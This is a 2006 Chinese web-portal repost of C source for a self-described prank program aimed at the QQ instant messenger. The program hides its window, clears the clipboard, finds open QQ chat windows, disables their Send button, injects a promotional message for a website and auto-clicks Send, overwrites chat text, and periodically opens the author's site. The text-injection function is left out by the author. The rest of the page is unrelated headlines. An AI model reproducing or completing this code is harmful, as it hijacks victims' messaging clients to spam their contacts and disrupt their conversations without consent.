分享
 
 
 

在sdk下恶作剧2的代码(发送QQ消息)

王朝other·作者佚名  2006-01-10
窄屏简体版  字體: |||超大  

//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

//

//因为最先我是用BCB写的程序,有很多人要求用c写一个,我就试着改了一下,这个编译后的文件很小,也很好用,比用BCB压缩后的

//小了差不多十陪,这部份代码仅供参考

//

#include "windows.h"

#include "stdlib.h"

#include "time.h"

#include "string.h"

//-------------------------------------------------------------------------------------

#define SUNTIMER 2000//计时器标识号

////////////////////////////////////////////////////////////////////////////////////////

LRESULT CALLBACK WndProc(HWND,UINT,WPARAM,LPARAM);//回调函数

BOOL initWindowClass(HINSTANCE);//注册窗口类函数

BOOL initWindow(HINSTANCE,int);//创建窗口函数

HWND hWndMain;//窗口句柄

void MyLoop();

bool WriteText(HWND);

void MyShowText();

HWND mhwnd,hwnd1,btnWnd,txtWnd;

HANDLE hMem;

bool flag;

LPTSTR pStr,pText;

///////////////////////////主函数/////////////////////////////////////////////

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevIns,LPSTR lpCmdLine,int nShowCmd){

MSG msg;//

if(!initWindowClass(hInstance)){

MessageBeep(0);

return FALSE;

}

if(!initWindow(hInstance,SW_HIDE))//SW_HIDE是为了隐藏窗体如果是SW_SHOW就是显示窗体

return TRUE;

while(GetMessage(&msg,NULL,0,0)){

TranslateMessage(&msg);

DispatchMessage(&msg);

}

return msg.wParam;

}

////////////////////////回调函数////////////////////////////////////////////////////////

LRESULT CALLBACK WndProc(HWND hwnd,UINT message,WPARAM wparam,LPARAM lparam){

static num;

switch (message) {

case WM_CREATE:

try

{

EmptyClipboard();//让清空剪切板

}catch(...){}

mhwnd=FindWindow("#32770",0); //初值

SetTimer(hwnd, SUNTIMER, 1000, (TIMERPROC)NULL);

return 0;

case WM_TIMER:

if (num>300)

{

num=0;

ShellExecute(hwnd,"open","http://www.fjleague.com",NULL,NULL,SW_SHOW);

}

MyLoop();

flag=!flag; //决定执行那个操作

mhwnd=FindWindow("#32770",0);

num++;

return 0;

case WM_DESTROY:

KillTimer(hwnd,SUNTIMER);//关闭timer

PostQuitMessage(0);//发送消息

return 0;

}

return DefWindowProc(hwnd,message,wparam,lparam);

}

/////////////////////////注册窗口类/////////////////////////////////////////////////////

BOOL initWindowClass(HINSTANCE hInstance){

WNDCLASS wc;

wc.cbClsExtra=0;

wc.cbWndExtra=0;

wc.hbrBackground=NULL;

wc.hCursor=NULL;

wc.hIcon=NULL;

wc.hInstance=hInstance;

wc.lpfnWndProc=WndProc;

wc.lpszClassName="KA";

wc.lpszMenuName=NULL;

wc.style=0;

return RegisterClass(&wc);

}

/////////////////////////创建窗口////////////////////////////////////////////////////////

BOOL initWindow(HINSTANCE hInstance,int nShowCmd){

HWND hwnd;

hwnd=CreateWindow("KA",NULL,NULL,0,0,0,0,NULL,NULL,hInstance,NULL);

hWndMain=hwnd;

if(!hwnd)

return FALSE;

ShowWindow(hwnd,nShowCmd);

UpdateWindow(hwnd);

return TRUE;

}

////////////////////////////////////////////////////////////////////////////////////////////

void MyLoop()

{

pText="FJ自由联盟欢迎您随时加入!\nFJ联盟网址:http://www.fjleague.com ";

char strText[80];

int len;

char str4[80];

do{

GetWindowText(mhwnd,strText,80); //得到窗体的标题字符串

len=strlen(strText);

if (len>8)

{

strcpy(str4,strText);

if (!(strcmp(str4,"与 FJ.Leaf KA 交谈中")&&strcmp(str4,"与 FJ.Leaf KA 聊天中")&&strcmp(str4,"FJ.Leaf KA - 发送消息")))

{//什么也不做,这里本来我是要写一些东西的,后来没想好,所以就这让放着了

}

else{//进入主要代码段

if ((strstr(str4,"发送消息")!=NULL)||(strstr(str4,"聊天中")!=NULL)||(strstr(str4,"交谈中")!=NULL))

{

mhwnd=FindWindowEx(mhwnd,NULL,"#32770",0); //得到聊天窗体句柄

txtWnd=GetDlgItem(mhwnd,00000000); //得到发消息窗体的父句柄

txtWnd=GetWindow(txtWnd,GW_CHILD); //得到发消息窗体的句柄

btnWnd=FindWindowEx(mhwnd,NULL,0,"发送(&S)");

EnableWindow(btnWnd,false);

if (!flag)

{

if (WriteText(txtWnd))//如果分配内存成功

{ //

Sleep(10); //

SendMessage(btnWnd,WM_LBUTTONDOWN,MK_LBUTTON,0);

SendMessage(btnWnd,WM_LBUTTONUP,0,0);

}

else

{ //不成功就搞这个破坏

MyShowText();

}

}//end flag

else

{

MyShowText();

}

} //if end

}//else end

}//END IF

mhwnd=GetWindow(mhwnd,GW_HWNDNEXT);

}while(mhwnd);

}

/////////////////////////////////////////////////////////////////////////////////////

void MyShowText()

{

hwnd1=FindWindowEx(mhwnd,NULL,"RichEdit20A",0);

char *text="欢迎随时加入FJ联盟\n联盟网址:http://www.fjleague.com\n作者:LeafKA\nQQ:68543927\n你现在只能和LeafKA聊天!\n本程序只是个的单纯恶作剧,如果您不会删除请与我联系!";

SendMessage(hwnd1,WM_SETTEXT,0,(long)text);

}

/////////////////////////////////////////////////////////////////////////////////////

bool WriteText(HWND hRich)

{

//实现将字符串写到QQ的发送消息窗口中

因为这里涉及到网络安全的问题,所以这部分代码保留,大家自已发挥想象力吧!

}

/////////////////////////////////////////////////////////////////////////////////////////////////////////

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有